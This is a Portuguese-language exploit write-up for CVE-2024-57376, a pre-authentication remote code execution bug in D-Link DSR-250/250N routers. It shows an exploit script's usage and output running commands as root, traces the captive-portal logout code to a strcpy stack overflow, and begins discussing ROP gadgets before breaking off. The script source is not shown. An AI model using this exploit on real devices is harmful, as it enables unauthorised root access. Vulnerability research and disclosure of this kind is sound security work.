
Exploit CVE-2024-57376
Exploit de execução remota de código pré-autenticação para D-Link DSR-250 e DSR-250N
Aviso de segurança: https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415
$ python3 exploit.py
usage: <host> <port> <command>
$ python3 exploit.py 192.168.1.1 443 id
[+] fingerprint
device: DSR-250N
year : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 24\r\nDate: Thu, 22 Dec 2022 11:50:49 GMT\r\nServer: Light Weight Web Server\r\n\r\nuid=0(root) gid=0(root)\n'
HTTP/1.1 200 OK
Content-Length: 24
Date: Thu, 22 Dec 2022 11:50:49 GMT
Server: Light Weight Web Server
uid=0(root) gid=0(root)
$ python3 exploit.py 192.168.1.1 443 'cat /pfrm2.0/etc/dlink_version'
[+] fingerprint
device: DSR-250N
year : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 12\r\nDate: Thu, 22 Dec 2022 11:57:35 GMT\r\nServer: Light Weight Web Server\r\n\r\n3.17B901C_WW'
HTTP/1.1 200 OK
Content-Length: 12
Date: Thu, 22 Dec 2022 11:57:35 GMT
Server: Light Weight Web Server
3.17B901C_WW
É um código da função duaCP.logout que é chamado para logout.
function duaCP.logout (cgiparams)
local extCpResult, clientMac, clientIp, authenticatorIp, apMac, apIp, vendor,
ssid, deviceType, vlan, pageId, returnUrl, authSuccessUrl,
returnLogoutUrl, notifyUrl, sessionRandom, hash, token
local request = ""
extCpResult = cgiparams.externalCpResult
clientMac = cgiparams.clientMac
clientIp = cgiparams.clientIp
authenticatorIp = cgiparams.authenticatorIp
apMac = cgiparams.apMac
apIp = cgiparams.apIp
vendor = cgiparams.vendor
ssid = cgiparams.ssid
deviceType = cgiparams.deviceType
vlan = cgiparams.vlan
pageId = cgiparams.pageIndex
returnUrl = cgiparams.returnUrl
authSuccessUrl = cgiparams.authenticationSuccessUrl
returnLogoutUrl = cgiparams.returnLogoutUrl
notifyUrl = cgiparams.notifyUrl
sessionRandom = cgiparams.sessionRandom
hash = cgiparams.hash
token = db.getAttribute("cpExtWebServer", "_ROWID_", "1", "token")
local status, reason
reason = "success"
-- validate hash first
if (hashValidate (authenticatorIp, clientMac, token, sessionRandom, hash) == "ERROR") then
-- respond to DUA with failure result so that user will be shown login
-- page
reason = "failure"
end
status, clientMac, clientIp = duaCP.parse_logoutInfo (extCpResult)
if (status == "ERROR") then
reason = "failure"
end
-- redirect to DUA
duaCP.logoutProcess (cgiparams, reason, token)
end
Ele chama:
hashValidateduaCP.parse_logoutInfoduaCP.logoutProcessO caminho para o código vulnerável é duaCP.parse_logoutInfo. Ele usa extCpResult, que é uma entrada do usuário, como parâmetro.
Aqui está um código duaCP.parse_logoutInfo.
function duaCP.parse_logoutInfo (extCpResult)
local status = "OK"
-- process the extCpResult
status, clientMac, clientIp = captivePortalLib.duaLogoutInfoGet (extCpResult)
if (status == "1" or tonumber (status) == 1) then
return "ERROR"
end
clientMac = clientMac:gsub("%-", "%:")
return status, clientMac, clientIp
end
Ele chama captivePortalLib.duaLogoutInfoGet. Ele usa extCpResult diretamente como parâmetro. O código dele está definido em uma biblioteca compartilhada, captivePortalLib.so

lua_tolstring retorna o ponteiro da string de extCpResult e strcpy é chamado, que tem uma variável local como parâmetro. Claramente é um estouro de buffer de pilha. Agora, precisamos encadear gadgets ROP.
Existem alguns limites porque a vulnerabilidade é acionada por strcpy. Não podemos inserir bytes nulos.
Aqui está um mapa de memória: